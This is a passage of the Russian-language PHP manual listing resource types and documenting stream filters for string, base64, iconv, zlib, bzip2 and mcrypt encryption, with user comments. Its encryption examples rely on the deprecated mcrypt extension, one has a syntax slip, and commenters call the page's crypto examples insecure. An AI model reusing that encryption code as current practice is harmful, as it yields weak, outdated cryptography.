mysql result | mysql_db_query(), mysql_list_dbs(), mysql_list_fields(), mysql_list_processes(), mysql_list_tables(), mysql_query(), mysql_unbuffered_query() | mysql_data_seek(), mysql_db_name(), mysql_fetch_array(), mysql_fetch_assoc(), mysql_fetch_field(), mysql_fetch_lengths(), mysql_fetch_object(), mysql_fetch_row(), mysql_fetch_row(), mysql_field_flags(), mysql_field_name(), mysql_field_len(), mysql_field_seek(), mysql_field_table(), mysql_field_type(), mysql_num_fields(), mysql_num_rows(), mysql_result(), mysql_tablename() | mysql_free_result() | Результат запроса MySQL
oci8 collection | oci_new_collection() | OCICollection::append(), OCICollection::assign(), OCICollection::assignElem(), OCICollection::getElem(), OCICollection::max(), OCICollection::size(), OCICollection::trim() | OCICollection::free() | Коллекция Oracle
oci8 connection | oci_connect(), oci_pconnect(), oci_new_connect() | oci_commit(), oci_error(), oci_new_cursor(), oci_parse(), oci_password_change(), oci_rollback(), oci_server_version(), oci_set_action(), oci_set_client_identifier(), oci_set_client_info(), oci_set_module_name() | oci_close() | Соединение с базой данных Oracle
oci8 lob | oci_new_descriptor() | OCILob::append(), OCILob::close(), OCILob::eof(), OCILob::erase(), OCILob::export(), OCILob::flush(), OCILob::getBuffering(), OCILob::import(), OCILob::load(), OCILob::read(), OCILob::rewind(), OCILob::save(), OCILob::saveFile(), OCILob::seek(), OCILob::setBuffering(), OCILob::size(), OCILob::tell(), OCILob::truncate(), OCILob::write(), OCILob::writeTemporary(), OCILob::writeToFile(), oci_lob_copy(), oci_lob_is_equal() | OCILob::free() | Большие объекты Oracle
oci8 выражения | oci_parse(), oci_new_cursor() | oci_bind_array_by_name(), oci_bind_by_name(), oci_cancel(), oci_define_by_name(), oci_error() oci_execute(), oci_fetch_all(), oci_fetch_array(), oci_fetch_assoc(), oci_fetch_object(), oci_fetch_row(), oci_fetch(), oci_field_is_null(), oci_field_name(), oci_field_precision(), oci_field_scale(), oci_field_size(), oci_field_type_raw(), oci_field_type(), oci_num_fields(), oci_num_rows(), oci_result(), oci_set_prefetch(), oci_statement_type() | oci_free_statement() | Курсор Oracle
odbc link | odbc_connect() | odbc_autocommit(), odbc_commit(), odbc_error(), odbc_errormsg(), odbc_exec(), odbc_tables(), odbc_tableprivileges(), odbc_do(), odbc_prepare(), odbc_columns(), odbc_columnprivileges(), odbc_procedurecolumns(), odbc_specialcolumns(), odbc_rollback(), odbc_setoption(), odbc_gettypeinfo(), odbc_primarykeys(), odbc_foreignkeys(), odbc_procedures(), odbc_statistics() | odbc_close() | Соединение с базой данных ODBC
odbc link persistent | odbc_pconnect() | odbc_autocommit(), odbc_commit(), odbc_error(), odbc_errormsg(), odbc_exec(), odbc_tables(), odbc_tableprivileges(), odbc_do(), odbc_prepare(), odbc_columns(), odbc_columnprivileges(), odbc_procedurecolumns(), odbc_specialcolumns(), odbc_rollback(), odbc_setoption(), odbc_gettypeinfo(), odbc_primarykeys(), odbc_foreignkeys(), odbc_procedures(), odbc_statistics() | Отсутствует | Постоянное соединение с базой данных ODBC
odbc result | odbc_prepare() | odbc_binmode(), odbc_cursor(), odbc_execute(), odbc_fetch_into(), odbc_fetch_row(), odbc_field_name(), odbc_field_num(), odbc_field_type(), odbc_field_len(), odbc_field_precision(), odbc_field_scale(), odbc_longreadlen(), odbc_num_fields(), odbc_num_rows(), odbc_result(), odbc_result_all(), odbc_setoption() | odbc_free_result() | Результат запроса ODBC
birdstep link | Ссылка на базу данных Birdstep (до PHP 7.3.0)
birdstep result | Результат Birdstep (до PHP 7.3.0)
Ключ OpenSSL | openssl_get_privatekey(), openssl_get_publickey() | openssl_sign(), openssl_seal(), openssl_open(), openssl_verify() | openssl_free_key() | Ключ OpenSSL
OpenSSL X.509 | openssl_x509_read() | openssl_x509_parse(), openssl_x509_checkpurpose() | openssl_x509_free() | Публичный ключ
pgsql large object | pg_lo_open() | pg_lo_open(), pg_lo_create(), pg_lo_read(), pg_lo_read_all(), pg_lo_seek(), pg_lo_tell(), pg_lo_unlink(), pg_lo_write() | pg_lo_close() | PostgreSQL Large Object (до PHP 8.1.0)
pgsql link | pg_connect() | pg_affected_rows(), pg_query(), pg_send_query(), pg_get_result(), pg_connection_busy(), pg_connection_reset(), pg_connection_status(), pg_last_error(), pg_last_notice(), pg_lo_create(), pg_lo_export(), pg_lo_import(), pg_lo_open(), pg_lo_unlink(), pg_host(), pg_port(), pg_dbname(), pg_options(), pg_copy_from(), pg_copy_to(), pg_end_copy(), pg_put_line(), pg_tty(), pg_trace(), pg_untrace(), pg_set_client_encoding(), pg_client_encoding(), pg_meta_data(), pg_convert(), pg_insert(), pg_select(), pg_delete(), pg_update() | pg_close() | Соединение с базой данных PostgreSQL (до PHP 8.1.0)
pgsql link persistent | pg_pconnect() | pg_affected_rows(), pg_query(), pg_send_query(), pg_get_result(), pg_connection_busy(), pg_connection_reset(), pg_connection_status(), pg_last_error(), pg_last_notice(), pg_lo_create(), pg_lo_export(), pg_lo_import(), pg_lo_open(), pg_lo_unlink(), pg_host(), pg_port(), pg_dbname(), pg_options(), pg_copy_from(), pg_copy_to(), pg_end_copy(), pg_put_line(), pg_tty(), pg_trace(), pg_untrace(), pg_set_client_encoding(), pg_client_encoding(), pg_meta_data(), pg_convert(), pg_insert(), pg_select(), pg_delete(), pg_update() | Отсутствует | Постоянное соединение с базой данных PostgreSQL
pgsql result | pg_execute(), pg_query(), pg_query_params(), pg_get_result() | pg_fetch_array(), pg_fetch_object(), pg_fetch_result(), pg_fetch_row(), pg_field_is_null(), pg_field_name(), pg_field_num(), pg_field_prtlen(), pg_field_size(), pg_field_type(), pg_last_oid(), pg_num_fields(), pg_num_rows(), pg_result_error(), pg_result_status() | pg_free_result() | Результат запроса PostgreSQL (до PHP 8.1.0)
pgsql string
pspell | pspell_new(), pspell_new_config(), pspell_new_personal() | pspell_add_to_personal(), pspell_add_to_session(), pspell_check(), pspell_clear_session(), pspell_config_ignore(), pspell_config_mode(), pspell_config_personal(), pspell_config_repl(), pspell_config_runtogether(), pspell_config_save_repl(), pspell_save_wordlist(), pspell_store_replacement(), pspell_suggest() | Отсутствует | Словарь pspell (до PHP 8.1.0)
pspell config | pspell_config_create() | pspell_new_config() | Отсутствует | Конфигурация pspell (до PHP 8.1.0)
shmop | shmop_open() | shmop_read(), shmop_write(), shmop_size(), shmop_delete() | shmop_close() | Управление блоком разделяемой памяти (До версии PHP 8.0.0)
Socket | socket_accept(), socket_addrinfo_bind(), socket_addrinfo_connect(), socket_create(), socket_create_listen(), socket_import_stream(), socket_wsaprotocol_info_import() | socket_accept(), socket_bind(), socket_clear_error(), socket_connect(), socket_get_option(), socket_getpeername(), socket_getsockname(), socket_last_error(), socket_listen(), socket_read(), socket_recv(), socket_recvfrom(), socket_recvmsg(), socket_select(), socket_send(), socket_sendmsg(), socket_sendto(), socket_set_block(), socket_set_nonblock(), socket_set_option(), socket_shutdown(), socket_write(), socket_wsaprotocol_info_export(), socket_wsaprotocol_info_release() | socket_close() | Socket (модуль сокетов)
stream | opendir() | readdir(), rewinddir() | closedir() | Дескриптор директории
stream | fopen(), tmpfile() | feof(), fflush(), fgetc(), fgetcsv(), fgets(), fgetss(), flock(), fpassthru(), fputs(), fwrite(), fread(), fseek(), ftell(), fstat(), ftruncate(), set_file_buffer(), rewind() | fclose() | Дескриптор файла
stream | popen(), fsockopen(), pfsockopen() | feof(), fflush(), fgetc(), fgetcsv(), fgets(), fgetss(), fpassthru(), fputs(), fwrite(), fread() | pclose() | Дескриптор процесса
socket | fflush(), fgetc(), fgetcsv(), fgets(), fgetss(), fpassthru(), fputs(), fwrite(), fread() | fclose() | Дескриптор сокета
Сессия SSH2 | ssh2_connect() | ssh2_disconnect()
Слушатель SSH2 | ssh2_forward_listen()
SSH2 SFTP | ssh2_sftp()
Подсистема открытого ключа SSH2 | ssh2_publickey_init()
sysvmsg queue | msg_get_queue() | msg_queue_exists(), msg_receive(), msg_send(), msg_set_queue(), msg_stat_queue() | msg_remove_queue() | Очередь сообщений System V (до PHP 8.0.0)
sysvsem | sem_get() | sem_acquire() | sem_release() | Семафор System V (до PHP 8.0.0)
sysvshm | shm_attach() | shm_remove(), shm_put_var(), shm_get_var(), shm_remove_var() | shm_detach() | Разделяемая память System V (до PHP 8.0.0)
wddx | wddx_packet_start() | wddx_add_vars() | wddx_packet_end() | Пакет WDDX
xml | xml_parser_create(), xml_parser_create_ns() | xml_set_object(), xml_set_element_handler(), xml_set_character_data_handler(), xml_set_processing_instruction_handler(), xml_set_default_handler(), xml_set_unparsed_entity_decl_handler(), xml_set_notation_decl_handler(), xml_set_external_entity_ref_handler(), xml_parse(), xml_get_error_code(), xml_error_string(), xml_get_current_line_number(), xml_get_current_column_number(), xml_get_current_byte_index(), xml_parse_into_struct(), xml_parser_set_option(), xml_parser_get_option() | xml_parser_free() | XML-парсер (до PHP 8.0.0)
zlib | gzopen() | gzeof(), gzgetc(), gzgets(), gzgetss(), gzpassthru(), gzputs(), gzread(), gzrewind(), gzseek(), gztell(), gzwrite() | gzclose() | Файл, сжатый алгоритмом gz
zlib.deflate | deflate_init() | deflate_add() | None | Контекст для инкрементальной компрессии по RFC 1951 (до PHP 8.0.0)
zlib.inflate | inflate_init() | inflate_add(), inflate_get_read_len(), inflate_get_status() | None | Контекст для инкрементальной декомпрессии по RFC 1951 (до PHP 8.0.0)

User Contributed Notes

Anonymous 28-Jul-2023 12:19
Resource of type "process" is returned by proc_open() and used by proc_close()


Список доступных фильтров

Содержание

  • Строковые фильтры
  • Преобразовывающие фильтры
  • Компрессионные фильтры
  • Шифрующие фильтры

Следующий список перечисляет несколько встроенных фильтров для использования с stream_filter_append(). Ваша версия PHP может включать больше (или меньше) фильтров, чем перечислено здесь.

Следует акцентировать внимание на определённой асимметричности функций stream_filter_append() и stream_filter_prepend(). Каждый поток в PHP имеет небольшой буфер чтения, в котором он хранит блоки данных, полученные из файловой системы или другого ресурса, для того чтобы обрабатывать данные наиболее эффективным образом. Как только данные переносятся из ресурса во внутренний буфер потока, они сразу же обрабатываются закреплёнными за потоком фильтрами, независимо от того, готово ли приложение PHP принимать данные или нет. Если данные находятся в буфере чтения в момент, когда в фильтр что-то дописывают в конец, данные будут немедленно обработаны этим фильтром, таким образом их нахождение в буфере будет прозрачным. В то же время, если данные находятся в буфере в момент, когда в фильтр что-то дописывают в начало, данные НЕ будут обработаны этим фильтром. Вместо этого, они будут ждать момента, когда следующий блок данных будет получен из ресурса.

Для получения списка фильтров, установленных в вашу версию PHP, используйте функцию stream_get_filters().

User Contributed Notes

There are no user contributed notes for this page.


Строковые фильтры

Все эти фильтры служат для того самого, что подразумевают их имена в соответствии с поведением встроенных в PHP функций для работы со строками. Для получения дополнительной информации о конкретном фильтре, обратитесь к странице руководства соответствующей функции.

string.rot13

Использование этого фильтра эквивалентно обработке всех данных потока функцией str_rot13().

Пример #1 string.rot13

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');
fwrite($fp, "This is a test.\n");
/* Выведет: Guvf vf n grfg. */
?>

string.toupper

Использование этого фильтра эквивалентно обработке всех данных потока функцией strtoupper().

Пример #2 string.toupper

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.\n");
/* Выведет: THIS IS A TEST. */
?>

string.tolower

Использование этого фильтра эквивалентно обработке всех данных потока функцией strtolower().

Пример #3 string.tolower

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.\n");
/* Выведет: this is a test. */
?>

string.strip_tags

Использование этого фильтра эквивалентно обработке всех данных потока функцией strip_tags(). Он принимает аргументы в одной из двух форм: Либо в виде строки со списком тегов, как и второй аргумент функции strip_tags(), либо массив названий тегов.

Внимание

Эта функциональность объявлена УСТАРЕВШЕЙ начиная с PHP 7.3.0 и её крайне не рекомендуется использовать.

Пример #4 string.strip_tags

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Выведет: bolded text enlarged to a level 1 heading */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Выведет: bolded text enlarged to a level 1 heading */
?>

User Contributed Notes

There are no user contributed notes for this page.


Преобразовывающие фильтры

Как и фильтры string.*, фильтры convert.* совершают действия, соответствующие их именам. Для получения дополнительной информации о конкретном фильтре, обратитесь к странице руководства соответствующей функции.

convert.base64-encode и convert.base64-decode

Использование этих фильтров эквивалентно обработке всех данных потока функциями base64_encode() и base64_decode() соответственно. convert.base64-encode поддерживает аргументы, переданные в виде ассоциативного массива. Если указан аргумент line-length, результат base64 будет разделён на куски длинной line-length символов каждый. Если указан аргумент line-break-chars, каждый кусок будет разделён указанными символами. Эти параметры дают такой же эффект, как и использование base64_encode() в паре с chunk_split().

Пример #1 convert.base64-encode и convert.base64-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Выведет: VGhpcyBpcyBhIHRlc3QuCg== */

$param = array('line-length' => 8, 'line-break-chars' => "\r\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Выведет: VGhpcyBp
: cyBhIHRl
: c3QuCg== */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Выведет: This is a test. */
?>

convert.quoted-printable-encode и convert.quoted-printable-decode

Использование decode-версии этого фильтра эквивалентно обработке всех данных потока функцией quoted_printable_decode(). У фильтра convert.quoted-printable-encode нет эквивалентной функции. convert.quoted-printable-encode поддерживает аргументы, переданные в виде ассоциативного массива. В дополнение к аргументам, поддерживаемыми convert.base64-encode, convert.quoted-printable-encode также поддерживает boolean-аргументы binary и force-encode-first. convert.base64-decode поддерживает лишь аргумент line-break-chars в качестве подсказки для чистки закодированных данных.

Пример #2 convert.quoted-printable-encode & convert.quoted-printable-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Выведет: =This is a test.=0A */
?>

convert.iconv.*

Фильтры convert.iconv.* доступны в том случае, если включена поддержка iconv и их использование аналогично обработке потоковых данных с помощью iconv(). Эти фильтры не поддерживают параметров. Вместо этого ожидается, что исходная и целевая кодировки были заданы в имени фильтра таким образом: convert.iconv.<input-encoding>.<output-encoding> или convert.iconv.<input-encoding>/<output-encoding> (оба варианта семантически эквивалентны).

Пример #3 convert.iconv.*

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
/* Выведет: This is a test. */
?>

User Contributed Notes

marcus at synchromedia dot co dot uk 10-May-2022 09:50
It's not quite obvious what all the available parameters are for convert.quoted-printable-encode. If you want the stream filter to act the same way as the quoted_printable_encode function, you need these extra params, for example:

stream_filter_append(
    STDOUT,
    'convert.quoted-printable-encode',
    STREAM_FILTER_WRITE,
    [
        'line-break-chars' => PHP_EOL,
        'line-length' => 75,
    ]
);
echo stream_copy_to_stream(STDIN, STDOUT);

Without these extra params set, you may get no wrapping at all, or wrapping using the wrong line break sequence.


Компрессионные фильтры

В то время, как Компрессионные обёртки обеспечивают способ создания gzip- и bz2-совместимых файлов в локальной файловой системе, они не предоставляют общих средств для компрессии в сетевых потоках, как и не предоставляют средств для создания потока без компрессии с последующим превращением в компрессируемый. Для этих целей к любым потоковым ресурсам в любое время могут применяться компрессионные фильтры.

Замечание: Компрессионные фильтры не генерируют заголовков и окончаний, которые используют утилиты командной строки, такие как gzip. Они просто компрессируют (сжимают) и декомпрессируют (разжимают) порции данных в компрессируемом потоке данных.

zlib.deflate и zlib.inflate

zlib.deflate (компрессия) и zlib.inflate (декомпрессия) являются реализациями методов сжатия, описанных в » RFC 1951. Фильтр deflate принимает три аргумента, переданных в виде ассоциативного массива. level определяет, какой уровень компрессии использовать (1-9). Повышение этого значения приведёт к уменьшению объёмов данных за счёт увеличения времени обработки. Существуют также два специальных уровня компрессии: 0 (для отключения компрессии) и -1 (внутреннее значение по умолчанию библиотеки zlib -- на текущий момент равно 6). window - это логарифм с основанием 2 от размера окна диапазона сжатия. Высокие значения (вплоть до 15 -- 32768 байт) приводят к улучшению компрессии за счёт роста необходимой памяти, в то время как низкие значения (вплоть до 9 -- 512 байт) приводят к ухудшению компрессии за счёт уменьшения необходимой памяти. Значением аргумента window по умолчанию на текущий момент является 15. memory определяет масштаб резервируемой памяти. Допустимые значения находятся в диапазоне от 1 (минимальное резервирование) до 9 (максимальное резервирование). Такое резервирование памяти влияет только на скорость и не влияет на размер генерируемых данных.

Замечание: Так как уровень компрессии является наиболее часто используемым аргументом, вы можете передать только его в качестве обычного целого числа (integer), вместо того чтобы передавать массив из одного элемента.

Компрессионные фильтры zlib.* доступны, если включена поддержка zlib.

Пример #1 zlib.deflate и zlib.inflate

<?php
$params = array('level' => 6, 'window' => 15, 'memory' => 9);

$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "Оригинальный текст длиной " . strlen($original_text) . " символов.\n";

$fp = fopen('test.deflated', 'w');
stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, $params);
fwrite($fp, $original_text);
fclose($fp);

echo "Сжатый файл размером " . filesize('test.deflated') . " байт.\n";
echo "Оригинальный текст:\n";
/* Использование readfile и zlib.inflate для декомпресии на лету */
readfile('php://filter/zlib.inflate/resource=test.deflated');

/* Генерирует вывод:

Оригинальный текст длиной 70 символов.
Сжатый файл размером 56 байт.
Оригинальный текст:
This is a test.
This is only a test.
This is not an important string.

*/
?>

Пример #2 Упрощённое использование zlib.deflate

<?php
$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "Оригинальный текст длиной " . strlen($original_text) . " символов.\n";

$fp = fopen('test.deflated', 'w');
/* Здесь "6" указывает уровень компрессии 6 */
stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, 6);
fwrite($fp, $original_text);
fclose($fp);

echo "Сжатый файл размером " . filesize('test.deflated') . " байт.\n";

/* Генерирует вывод:

Оригинальный текст длиной 70 символов.
Сжатый файл размером 56 байт.

*/
?>

bzip2.compress и bzip2.decompress

bzip2.compress и bzip2.decompress работают точно так же, как и фильтры zlib, описанные выше. Фильтр bzip2.compress принимает два аргумента в виде элементов ассоциативного массива: blocks является целочисленным (integer) значением в диапазоне от 1 до 9 и указывает на количество 100-килобайтовых блоков памяти для резервирования в качестве рабочего пространства. work - это так же целочисленное (integer) значение в диапазоне от 0 до 250, определяющее сколько усилий нужно потратить на обычный метод компрессии перед переключением на медленный, но более надёжный метод. Изменение этого параметра влияет только на скорость компрессии. Ни размер сжатого результата, ни используемый объем памяти не изменяются при помощи этой настройки. Значение 0 указывает библиотеке bzip использовать собственное внутреннее значение по умолчанию. Фильтр bzip2.decompress принимает всего один аргумент, который может быть передан либо как обычное boolean-значение, либо как элемент small ассоциативного массива. Когда small установлен в true, библиотека bzip совершит декомпрессию с минимальным расходом памяти за счёт понижения скорости.

Компрессионные фильтры bzip2.* доступны, если включена поддержка bz2.

Пример #3 bzip2.compress и bzip2.decompress

<?php
$param = array('blocks' => 9, 'work' => 0);

echo "Оригинальный файл размером " . filesize('LICENSE') . " байт.\n";

$fp = fopen('LICENSE.compressed', 'w');
stream_filter_append($fp, 'bzip2.compress', STREAM_FILTER_WRITE, $param);
fwrite($fp, file_get_contents('LICENSE'));
fclose($fp);

echo "Сжатый файл размером " . filesize('LICENSE.compressed') . " байт.\n";

/* Генерирует вывод:

Оригинальный файл размером 3288 байт.
Сжатый файл размером 1488 байт.

*/
?>

User Contributed Notes

TingSong 20-Feb-2023 03:43
To decompress a gzipped stream:

<?php
$stream = fopen('https://example.com/some/file.txt.gz', 'rb');
stream_filter_append($stream, 'zlib.inflate', STREAM_FILTER_READ, ['window' => 15+16]);

// read the decompressed line directly
$line = fgets($stream);

// process the lines
?>

As the doc of zlib https://www.zlib.net/manual.html#Advanced

The 'window' parameter between 8 and 15 specified the window size from 2? to 2?? bytes. It can be added by 16 for wrapping with gzip header and trailer instead of zlib wrapper.

And, window could be -8..-15 for unwrapping RAW deflate data.
Anonymous 10-Feb-2021 06:37
To use the zlib.inflate filter with data originally written using gzcompress() or zlib.deflate, set the window option to 15 as outlined here: https://bugs.php.net/bug.php?id=68556

<?php
$fh = fopen(file_name, 'rb');
stream_filter_append($fh, 'zlib.inflate', STREAM_FILTER_READ, ['window' => 15]);
$contents = stream_get_contents($fh);
fclose($fh);
bohwaz 08-Jul-2018 01:39
Please note that there is currently a bug in this feature. ftell(), fseek() and fstat() functions cannot be used. Writing to a stream after using this function will not change the stream position as it should.

See bug: https://bugs.php.net/bug.php?id=49874

Also the zlib filters don't work with php://temp, php://memory and php://input streams, nothing is outputted to those streams.
Anonymous 21-Aug-2015 06:12
To read a gzip encoded stream from http
<?php
$opts = [
    "http" => [
        "method" => "GET",
        "header" => [ "Accept-Encoding: gzip" ],
    ]
];
$ctx = stream_context_create($opts);
$f = fopen("http://php.net", "r", false, $ctx);
// check  stream_get_meta_data($f)["wrapper_data"] has "Content-Encoding: gzip"
stream_filter_append($f, "zlib.inflate", STREAM_FILTER_READ, ["window" => 30]);
echo stream_get_contents($f); // any stream processing
fclose($f);


Шифрующие фильтры

Шифрующие фильтры очень хорошо подходят для шифрования файлов и потоков.

mcrypt.* и mdecrypt.*

Внимание

Эта возможность была объявлена УСТАРЕВШЕЙ начиная с PHP 7.1.0. Крайне не рекомендуется полагаться на неё в будущем.

mcrypt.* и mdecrypt.* обеспечивают симметричное шифрование и дешифрование при помощи libmcrypt. Оба набора фильтров поддерживают те же алгоритмы, что и модуль mcrypt в виде mcrypt.ciphername, где ciphername - это название шифра, как если бы оно передавалось функции mcrypt_module_open(). Также доступны следующие пять параметров:

Параметры фильтра mcrypt
Параметр | Обязателен? | По умолчанию | Пример значения
mode | Нет | cbc | cbc, cfb, ecb, nofb, ofb, stream
algorithms_dir | Нет | ini_get('mcrypt.algorithms_dir') | Путь к модулям алгоритмов
modes_dir | Нет | ini_get('mcrypt.modes_dir') | Путь к модулям режимов
iv | Да | N/A | Обычно 8, 16 или 32 байта бинарных данных. Зависит от шифра
key | Да | N/A | Обычно 8, 16 или 32 байта бинарных данных. Зависит от шифра

Пример #1 Шифрование/расшифровка используя Blowfish

<?php
// примем, что $key уже сформирован
$iv_size = mcrypt_get_iv_size(MCRYPT_BLOWFISH, MCRYPT_MODE_CBC);
$iv = mcrypt_create_iv($iv_size, MCRYPT_DEV_URANDOM);
$fp = fopen('encrypted-file.enc', 'wb');
fwrite($fp, $iv);
$opts = array('mode'=>'cbc','iv'=>$iv, 'key'=>$key);
stream_filter_append($fp, 'mcrypt.blowfish', STREAM_FILTER_WRITE, $opts);
fwrite($fp, 'message to encrypt');
fclose($fp);

//расшифровка...
$fp = fopen('encrypted-file.enc', 'rb');
$iv = fread($fp, $iv_size = mcrypt_get_iv_size(MCRYPT_BLOWFISH, MCRYPT_MODE_CBC));
$opts = array('mode'=>'cbc','iv'=>$iv, 'key'=>$key)
stream_filter_append($fp, 'mdecrypt.blowfish', STREAM_FILTER_READ, $opts);
$data = rtrim(stream_get_contents($fp));//trims off null padding
fclose($fp);
echo $data;
?>

Пример #2 Шифрование файла с помощью AES-128 CBC с SHA256 HMAC

<?php
AES_CBC::encryptFile($password, "plaintext.txt", "encrypted.enc");
AES_CBC::decryptFile($password, "encrypted.enc", "decrypted.txt");

class AES_CBC
{
protected static $KEY_SIZES = array('AES-128'=>16,'AES-192'=>24,'AES-256'=>32);
protected static function key_size() { return self::$KEY_SIZES['AES-128']; } //default AES-128
public static function encryptFile($password, $input_stream, $aes_filename){
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$fin = fopen($input_stream, "rb");
$fc = fopen($aes_filename, "wb+");
if (!empty($fin) && !empty($fc)) {
fwrite($fc, str_repeat("_", 32) );//placeholder, SHA256 HMAC will go here later
fwrite($fc, $hmac_salt = mcrypt_create_iv($iv_size, MCRYPT_DEV_URANDOM));
fwrite($fc, $esalt = mcrypt_create_iv($iv_size, MCRYPT_DEV_URANDOM));
fwrite($fc, $iv = mcrypt_create_iv($iv_size, MCRYPT_DEV_URANDOM));
$ekey = hash_pbkdf2("sha256", $password, $esalt, $it=1000, self::key_size(), $raw=true);
$opts = array('mode'=>'cbc', 'iv'=>$iv, 'key'=>$ekey);
stream_filter_append($fc, 'mcrypt.rijndael-128', STREAM_FILTER_WRITE, $opts);
$infilesize = 0;
while (!feof($fin)) {
$block = fread($fin, 8192);
$infilesize+=strlen($block);
fwrite($fc, $block);
}
$block_size = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$padding = $block_size - ($infilesize % $block_size);//$padding is a number from 1-16
fwrite($fc, str_repeat(chr($padding), $padding) );//perform PKCS7 padding
fclose($fin);
fclose($fc);
$hmac_raw = self::calculate_hmac_after_32bytes($password, $hmac_salt, $aes_filename);
$fc = fopen($aes_filename, "rb+");
fwrite($fc, $hmac_raw);//overwrite placeholder
fclose($fc);
}
}
public static function decryptFile($password, $aes_filename, $out_stream) {
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$hmac_raw = file_get_contents($aes_filename, false, NULL, 0, 32);
$hmac_salt = file_get_contents($aes_filename, false, NULL, 32, $iv_size);
$hmac_calc = self::calculate_hmac_after_32bytes($password, $hmac_salt, $aes_filename);
$fc = fopen($aes_filename, "rb");
$fout = fopen($out_stream, 'wb');
if (!empty($fout) && !empty($fc) && self::hash_equals($hmac_raw,$hmac_calc)) {
fread($fc, 32+$iv_size);//skip sha256 hmac and salt
$esalt = fread($fc, $iv_size);
$iv = fread($fc, $iv_size);
$ekey = hash_pbkdf2("sha256", $password, $esalt, $it=1000, self::key_size(), $raw=true);
$opts = array('mode'=>'cbc', 'iv'=>$iv, 'key'=>$ekey);
stream_filter_append($fc, 'mdecrypt.rijndael-128', STREAM_FILTER_READ, $opts);
while (!feof($fc)) {
$block = fread($fc, 8192);
if (feof($fc)) {
$padding = ord($block[strlen($block) - 1]);//assume PKCS7 padding
$block = substr($block, 0, 0-$padding);
}
fwrite($fout, $block);
}
fclose($fout);
fclose($fc);
}
}
private static function hash_equals($str1, $str2) {
if(strlen($str1) == strlen($str2)) {
$res = $str1 ^ $str2;
for($ret=0,$i = strlen($res) - 1; $i >= 0; $i--) $ret |= ord($res[$i]);
return !$ret;
}
return false;
}
private static function calculate_hmac_after_32bytes($password, $hsalt, $filename) {
static $init=0;
$init or $init = stream_filter_register("user-filter.skipfirst32bytes", "FileSkip32Bytes");
$stream = 'php://filter/read=user-filter.skipfirst32bytes/resource=' . $filename;
$hkey = hash_pbkdf2("sha256", $password, $hsalt, $iterations=1000, 24, $raw=true);
return hash_hmac_file('sha256', $stream, $hkey, $raw=true);
}
}
class FileSkip32Bytes extends php_user_filter
{
private $skipped=0;
function filter($in, $out, &$consumed, $closing) {
while ($bucket = stream_bucket_make_writeable($in)) {
$outlen = $bucket->datalen;
if ($this->skipped<32){
$outlen = min($bucket->datalen,32-$this->skipped);
$bucket->data = substr($bucket->data, $outlen);
$bucket->datalen = $bucket->datalen-$outlen;
$this->skipped+=$outlen;
}
$consumed += $outlen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}
}
class AES_128_CBC extends AES_CBC {
protected static function key_size() { return self::$KEY_SIZES['AES-128']; }
}
class AES_192_CBC extends AES_CBC {
protected static function key_size() { return self::$KEY_SIZES['AES-192']; }
}
class AES_256_CBC extends AES_CBC {
protected static function key_size() { return self::$KEY_SIZES['AES-256']; }
}

User Contributed Notes

Maarten Bodewes 06-Aug-2017 12:21
The examples on this page should be destroyed with utmost urgency.

Strangely most people will fall over the use of generating the IV and 3DES key using MD5, a weak hash function, e.g. the previous note and CryptoFails blog.

http://www.cryptofails.com/post/70059608390/php-documentation-woes

A password based key derivation function should be used (bcrypt, PBKDF2).

However the use of MD-5 for key derivation however isn't that bad and if the password is strong enough (it usually isn't) then the generated DES ABC key is strong enough even now.

Using an identical IV for each password means that this function directly leaks information about the encrypted file. If the start of two encrypted files is identical then this function will directly leak information. For instance, if the routine encrypts multiple images then the JPEG header would be easily distinguished.

All in all these examples use deprecated routines (mcrypt), deprecated cryptographic functions (MD5 / DES) and then incorrectly perform the actual encryption. Enough reason to destroy them in the first place.
Uwe Ohse 22-Feb-2017 04:17
1) The mcrypt module has been deprecated with PHP 7.1.
What does that mean for the encryption filters?

2) deriving the IV from the secret passphrase seems wrong. This leaks information about the passphrase without need.

3) using md5() for this? Really? hash() has been available since PHP 5.1.2.

4) hashing the passphrase twice does not add any security.

5) using substr() on binary data (why, oh why, is true passed to md5()?) might lead to headaches if mbstring.func_overload is used.


Список поддерживаемых транспортных протоколов

Содержание

  • Интернет-сокеты: TCP, UDP, SSL и TLS
  • Unix-сокеты: UNIX и UDG

